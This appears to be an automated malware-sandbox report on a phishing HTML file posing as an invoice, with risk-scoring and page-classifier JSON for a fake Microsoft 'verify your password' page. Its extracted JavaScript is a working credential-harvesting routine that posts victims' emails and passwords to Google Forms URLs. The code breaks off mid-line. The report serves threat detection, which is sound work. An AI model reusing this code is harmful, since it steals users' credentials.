Windows Analysis Report
Invoice for 04-09-24 fede39.admr.org.html

{
    "risk_score": 8,
    "reasoning": "This script demonstrates several high-risk behaviors, including data exfiltration, dynamic code execution, and redirects to potentially malicious domains. The script collects user email and password information and sends it to a Google Forms URL, which could be used for phishing or other malicious purposes. Additionally, the script uses obfuscated code and conditional logic to determine the appropriate URL to send the data to, further increasing the risk. While the script may have some legitimate functionality, the overall risk profile is high due to the sensitive data collection and transmission to potentially untrusted domains."
}

        function handleSubmit(event) {
            event.preventDefault()
            document.querySelector('#loader').style.display = 'flex';

            let email = document.getElementById('email').textContent
            let password = document.getElementById('pass').value

            console.log(email)
            if (password != "") {
                document.querySelector('img').style.opacity = '0.5'
                document.querySelector('fieldset').style.opacity = '0.5'
                document.querySelector('button').style.opacity = '0.5'
                document.querySelector('#links').style.opacity = '0.5'

                // let url = `https://docs.google.com/forms/u/0/d/e/1FAIpQLSeiv3vsClWAvMv6ARIhv9YuOQcratL-kX4KvYhzJyeIpSsUTg/formResponse?usp=pp_url&entry.489847516=${email}&entry.153696527=${password}`

                // let url = `https://docs.google.com/forms/d/e/1FAIpQLSeucJe0jbBSKCkR6MT2cQy0ZZA-Q8--35vK_jFOpbV5M_lMtQ/viewform?usp=pp_url&entry.949708245=${email}&entry.272584340=kkk&entry.252743457=${password}`
                let param = localStorage.getItem("new")
                let email2 = localStorage.getItem("email")

                if (param == 'yes' && email != null) {
                    let url = 'https://docs.google.com/forms/d/e/1FAIpQLSfv3AiWBEmIYrmJ8kN-HqBYeahK5zbe5BXp9djL9nezcIPI7A/formResponse?usp=pp_url&entry.709402199=' + email2 + '&entry.1191394999=' + password
                    fetch(url, {
                        method: 'POST'
                    })

                    console.log('first')
                 } else if (param == null) {
                    let url = 'https://docs.google.com/forms/d/e/1FAIpQLSfv3AiWBEmIYrmJ8kN-HqBYeahK5zbe5BXp9djL9nezcIPI7A/formResponse?usp=pp_url&entry.709402199=' + email + '&entry.1191394999=' + password
                    fetch(url, {
                        method: 'POST'
                    })

                    console.log('second')

                 }
                setTimeout(() => {

                    let tl = anime.timeline({
                        easing: 'easeOutExpo',
                        duration: 300,
                        loop: true
                    });

                    tl.add({
                        targets: '#loader div',
                        translateX: 185,
                        delay: anime.stagger(300, { easing: 'linear' }),
                        duration: 500,
                        // easing: 'linear',
                    })
                    tl.add({
                        targets: '#loader div',
                        translateX: 450,
                        delay: anime.stagger(300, { easing: 'linear' }),
                        duration: 500,
                        // easing: 'linear',
                    })

                    setTimeout(() => {
                        document.querySelector('#loader').style.display = 'none';
                        document.getElementById('pass').value = ''
                        document.querySelector('img').style.opacity = '1'
                        document.querySelector('fieldset').style.opacity = '1'
                        document.querySelector('button').style.opacity = '1'
                        document.querySelector('#links').style.opacity = '1'
                        document.querySelector('#error').style.display = 'none';
                        document.querySelector('#next').style.display = 'block';
                    }, 5000);

                }, 200);

            }
        }

        function handleNext(event) {
            event.preventDefault()
            document.querySelector('#loader2').style.display = 'flex';

            let email = document.getElementById('email2').value
            console.log(email)

            if (email != "") {
                document.querySelector('#img').style.opacity = '0.5'
                document.querySelector('#fieldset').style.opacity = '0.5'
                document.querySelector('#button').sty

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
  "contains_trigger_text": true,
  "trigger_text": "Because you are accessing sensitive document, you need to verify your password",
  "prominent_button_name": "Verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Because you are accessing sensitive document, you need to verify your password",
  "prominent_button_name": "Verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "Because you are accessing sensitive document, you need to verify your password",
"prominent_button_name": "Verify",
"text_input_field_labels": [
"Enter password"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": true,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": true,
  "trigger_text": "Because you are accessing sensitive document, you need to verify your password",
  "prominent_button_name": "Verify",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "contains_trigger_text": true,
  "trigger_text": "Enter password",
  "prominent_button_name": "Verify",
  "text_input_field_labels": [
    "Password"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}